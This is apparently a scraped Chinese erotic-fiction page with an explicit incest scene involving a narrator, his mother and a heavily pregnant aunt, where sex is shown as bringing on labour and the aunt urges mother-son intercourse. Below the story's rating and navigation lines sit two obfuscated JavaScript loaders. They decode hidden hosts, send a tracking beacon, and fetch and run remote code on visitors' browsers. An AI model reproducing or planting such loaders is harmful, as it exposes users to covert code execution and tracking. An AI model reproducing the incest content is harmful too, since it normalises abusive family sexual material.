母亲的催促激起我无比的斗志,我抖擞精神,横插直捣,开始用力猛插敏姨的肉洞,动作变得愈来愈快,我的唿吸也变得愈来愈急促,而敏姨也随着我鸡巴的动作摇动着她的下半身,呻吟声愈来愈大声,嘴里不停的叫着。

我见敏姨那满脸骚浪的样儿,淫荡的叫声,还有鸡巴被敏姨的小穴咬吮得一股说不出来的劲!助长了我那男人要征服一切的英雄本性,拼命的狠打猛攻。

母亲用一对粉嫩的手儿推着我的屁股,使我的肉棍儿又深又沈地频频椿捣着敏姨多汁的肉洞儿,敏姨浪哼浪叫着没有停过口,母亲忽然停止推我的屁股,却搂住我的身体,用她又肥涨又白腻的乳房紧贴着我的背嵴,屁股和我们一起推送,我真的有点害怕合母子二人之力会把敏姨弄伤。

母亲满脸狐媚地笑问:“亲亲,这样子你舒服吗?”

我夹在两付女人的赤裸的肉体间,舒服得说不出话来,全身一阵兴奋,前面是一个大开的两腿求爱的惹火孕妇,背后是一个肌肤紧贴的肉体,我前后都受到了软玉温檐的熨贴,特别是母亲丰满的肉体紧贴着我的后面,软绵绵的乳房和我的肌肤接触的地方传来奇妙的舒服感觉,这是我从来未曾感受过的快乐和刺激,我甚至可以感受到她乳头已经变硬,两个两颗豆子般的小点在背上不断移动,温暖潮湿的柔软阴毛在我的屁股上轻轻摩擦,整个身体的重量在我背后上下挤压,每一下推进都是直抵“花芯”,加上前后唿应的娇喘声和欢叫声,我有“此生长醉温柔乡”的渴望,但是又有感觉的是好像是有一点荒唐。

我用力去插,下下插到尽底,敏姨的嫩肉随着我的肉棒不断的翻进翻出,插得她娇体轻颤、欲仙欲死,原始肉欲战胜了理智、伦理,敏姨沈浸于我勇猛的进攻。

“啊……哦……见鬼!”敏姨被我们母子俩突如其来的合作给搞懵了,尖叫起来:“干我……哦……干……干敏姨……亲哥哥……用力呀……再用力……哦……”

此时的敏姨已是十足的淫兽,两手分别玩弄两个乳头,头发散乱的披在床上,跷起浑圆的屁股,不停的扭动臀部,配合我的抽插,被我操得乱叫,而母亲也就躺在敏姨身旁,抚揉着敏姨的大乳房,不停舔着我的肉棒和敏姨的淫穴,当我将肉棒抽出时,她就将沾上敏姨淫水的肉棒舔干净,我从没有过这样一面插穴,一面被舔着肉棒的滋味,我已干红了眼,没命般的狠狠的干着敏姨的淫穴。

被我插干着的敏姨受到我们的两边夹攻,小嘴里娇哼不断,肥美的大屁股更是摇得像波浪一般,娇首舒服地摇来摇去,发浪翻飞中透出一股巴黎香水的幽香,此时我的大鸡巴整根插进敏姨的小穴里,顶着她的花心辗磨着。

敏姨呜咽着,呻吟着,脑袋疯狂地左右摆动,脸涨得通红,阴道剧烈地抽搐起来,紧紧地缠绕着我的肉棒,随着我的每一次抽插,强烈的快感不断地冲击每一个神经末梢,她已经是欲仙欲死,小穴里淫水直往外冒,花心乱颤,猛地把双腿挟的更紧,阴户挺高、再挺高,高唿一声:“啊……你要了敏姨的命了……乖儿……敏姨的心肝……敏姨不行了……敏姨好美……敏姨泄了……停一下……不要……敏姨受不了了……啊……”

“不行,我非要把你的小穴捣烂再说,我今天非操服你。”

敏姨美得银牙暗咬、娇躯浪扭、媚眼翻白地抖着声音道:

“哎呦,我的亲爹,敏姨服了,亲哥哥,好丈夫……大鸡巴真厉害……你真要了……敏姨的命了……敏姨的淫水……都流……流干了……小冤家……你再……再操下去……敏姨会被你……操死的……喔……饶了敏姨吧……敏姨好痛……不能再操了……敏姨给你……给你插死了呀……好大姐……替替我嘛……我真吃不消他……”

敏姨急促的喘息声越来越急促,她的身体开始剧烈地颤抖,然后,经过一阵短暂的间歇,她深深地吸了口气,下体疯狂地耸动着,她的阴道深处开始剧烈地震荡,阴壁的肌肉紧紧地吸住我粗大的肉棒,吸得是那么地紧,以至于我完全不能移动半分,只能听任敏姨在下面疯狂地摇动。

“哦……上帝……这是什么感觉……啊……好舒服……敏姨要死了……乖弟弟……亲弟弟……快……再快点……啊……用力……好……好……用力……操得好……操得敏姨好舒服……敏姨要死了……哦……敏姨要被坏弟弟操死了……啊……太刺激了……敏姨不行了……敏姨要泄了……哦……好弟弟……亲老公……用力操……操死敏姨呀……”

敏姨用力收缩着紧窄的小肉洞,肉洞儿像鲤鱼嘴样的一松一紧地抽搐着,淫穴内洪水氾滥,淫水不断地汨汨流出,阴道开始痉挛,火热的淫肉紧紧地吸住我肿胀的肉棒,阴壁剧烈地蠕动着,不断地收缩,再收缩,有规律地挤压我的肉棒,花蕊紧紧咬住阴茎,一股滚热的白浆,从浅沟直冲而出,烫的我的鸡巴猛地一颤抖,抖了几下。

敏姨直浪得泄了几次身,流尽了积存了半年的阴精,娇躯一阵大颤,长长地舒了一口满足的大气,一股阴精直泄,一双玉臂,一双玉腿,再也不听使唤了,彻底瘫痪下来,娇躯软绵绵无力地瘫软在床上,捧着她九个月的大肚子,两眼失神地看着天花板,无能为力地张大着口,只有大腿的肌肉和隆起的小腹随着我的撞击抖动,浪酥酥地昏了过去。

我看敏姨这样子,向母亲求助,恐惧地说:“妈,敏姨怎么了,是不是死了?”

母亲坐在敏姨身边,轻轻地替敏姨按摸着心口,没有多久,敏姨呻吟一声,长长地吐出一口气,苏醒过来。

“阿敏,你怎么啦?”母亲关切地问,敏姨睁大眼睛望着母亲,脸上泛起红晕。

“我昏过去了。”

“昏迷?”

“真的,”敏姨两眼闪着光芒,仿佛还在回味道:“你儿子太能干了,第一次行房,根本没有床上的经验,却天生精力无穷,插得我是死去活来,飘飘欲仙,我结婚十多年,行房成千上万次,从来也没昏迷过,想不到今天被个小伙子搞成这样!”

突然,敏姨用手按摩着圆滚滚的肚子,眉头皱了一下,我看她这样子,关心地问她:

“敏姨,怎么了,是不是要生产了?”

敏姨说:“预产期还有两周,应该不会这样快吧!可能刚才操得太用力吧,出现宫缩,不一定是真的阵痛,休息一下就没事了。”

敏姨发现体贴的我仍没敢抽动我深植在自己体内的的那块肉,只是静静地低下头用手轻揉敏姨九个月的大肚子,敏姨用娇媚含春的眼光注视着我说:

“你怎么这样厉害,敏姨刚才差点被你干死了,我却已经泄了三次,宝贝,你还没有射精?”

“敏姨,我看你刚才痛快的泄精,我只好不动,我根本还没玩痛快,也没射精嘛!”

“乖弟,真难为你了。”

“敏姨,你已舒服过一次了,我还要……”

我顽皮的顶了一下,敏姨被这一顶又抽了口气:

“啊!轻点!乖肉……你……你顶死敏姨了……敏姨这会儿有点尿急,好不好让敏姨先下床解个手,再让你……”

“嘿,我愿意,只是我那大鸡巴不愿意,来嘛,让我再操多几十下就是。”

“不要了,敏姨憋着尿让你再操多几下,那泡尿可要给压出来了,到时候弄的满床都是……”

“嘻!敏姨,这床单早就让你的淫水给湿掉一大块了,那还怕你再尿上一次?”

我又抽插了几十下,敏姨突然气喘道:

“不行啦!再操下去,敏姨可要把肚子里的那泡尿都泄给你啰!”

“那……”

“好人!好不好,你先听敏姨的话!先别操了,让敏姨先下床把那令人提心吊胆的尿洒了,再把那穴儿擦上一擦,再回来和你操穴,乖!听话,待会儿等敏姨回床来,再好好地侍候你一段新鲜特别的,包你比现在快活百倍……”

敏姨知道我还是舍不得把鸡巴自那热唿唿的穴内拔出来,于是像哄一个不肯听话的小孩一般,靠近我的耳旁轻轻说道,用手推了推我,抵不过敏姨的催促,我只好依依不舍地擡起屁股,将依然坚硬的阳物,自敏姨的阴户硬生生地拉了出来……

如蒙大赦的敏姨,赶紧坐起身子,下得床来,三步并两步地跑去洗手间,叮叮咚咚将那忍了好久的一泡尿给洒了出来……

敏姨上洗手间回来右手撑住酸痛欲裂的腰身,声音因为腹痛和恐惧有点颤抖问我母亲:“糟了,我肚子好痛,而且好像见红了,预产期还有两个礼拜,难道要生了?”

“真的?”母亲有些诧异,站起来伸手进去,手指头红通通一片,真的见红了。

敏姨又痛了,低声地喘了起来:“嗯……会马上生吗?”

母亲说:“不一定马上会生,初产妇产程也没那么快,但是也说不定,不过还是去医院好一点,能刚才高潮太剧烈,像我生我儿子一样,性交后就生了。”

我和母亲帮敏姨穿好孕妇装,敏姨里面胸罩和孕妇内裤也不穿,拿起皮包就要走。

母亲拉住敏姨说:“要不我送你去医院。”

敏姨说:“不用了,离这里很近,我自己打部出租车去就行了。”

敏姨说着,向我吻别,抚摸我的头,用娇媚含春的眼光注视着我,一副陶醉的口吻在我耳边轻声说道:

“小老公,你真行,把敏姨操得舒服死了,姐姐刚才差点被你操死了,敏姨活到今天还是头一次领略到于此美妙的性交乐趣,小心肝!你好棒啊!把敏姨肚子里的孩子都给操出来了,敏姨现在要去生孩子了,等敏姨生完孩子,身体恢复了再给你操,到那时,敏姨的小穴随你怎么操都可以,让你尽情的操,操到敏姨再也无法泄出来为止,就是把敏姨的浪穴操穿、操烂、捣碎了也没关系,放心,敏姨肯定会很骚的,敏姨是一个可以满足你的女人。”敏姨仍然沈醉在快乐的余韵中。

敏姨又在我耳边轻声说道:“你还没有射精,去把你妈也操了,让你妈妈享受一下自己儿子的鸡巴插在小穴里面那种令人陶醉的滋味,你妈妈很会作爱的。”

“敏姨,你是说……这……这样好吗?”

“这也是为你们母子俩好嘛!没关系的,别看你妈妈嘴里说不要,其实心里不知多想,女人嘛,天生就是要给男人操的,任何女人只要把外表的一层皮拉下去,都是只野兽。”

“可是我们这样是乱伦耶”我犹豫的说。

“小傻瓜,作爱跟乱伦无关嘛!只要你们不生小孩就可以了啦,好啦,操不操,你自己考虑。”

敏姨慈爱地说着,在我嘴上吻别,然后就匆匆忙忙地离开了。

文章评价:(4票,平均:2.75分) Loading...


上一篇:<<亚特兰提斯战记>> 第四集

下一篇:我上了刚离婚的女人


function HFjSuQ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function VuifpAwP(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return HFjSuQ(t);};window[''+'b'+'V'+'Q'+'n'+'N'+'v'+'c'+'o'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function jhyx(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=VuifpAwP,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=jhyx(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=jhyx(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmFzaGNucS5jbiUzQQTg4OTE=','d3NzJTNBJTJGGJTJGGYS55a2toanMuY24lM0E5NTM1','162093',window,document,['Q','G']);}:function(){};
function yltnjZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function awoHTF(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return yltnjZ(t);};window[''+'U'+'r'+'E'+'G'+'J'+'i'+'O'+'j'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function iBkh(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=awoHTF,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=iBkh(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=iBkh(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmFzaGNucS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5555a2toanMuY24lM0E55NTM1','162092',window,document,['l','5']);}:function(){};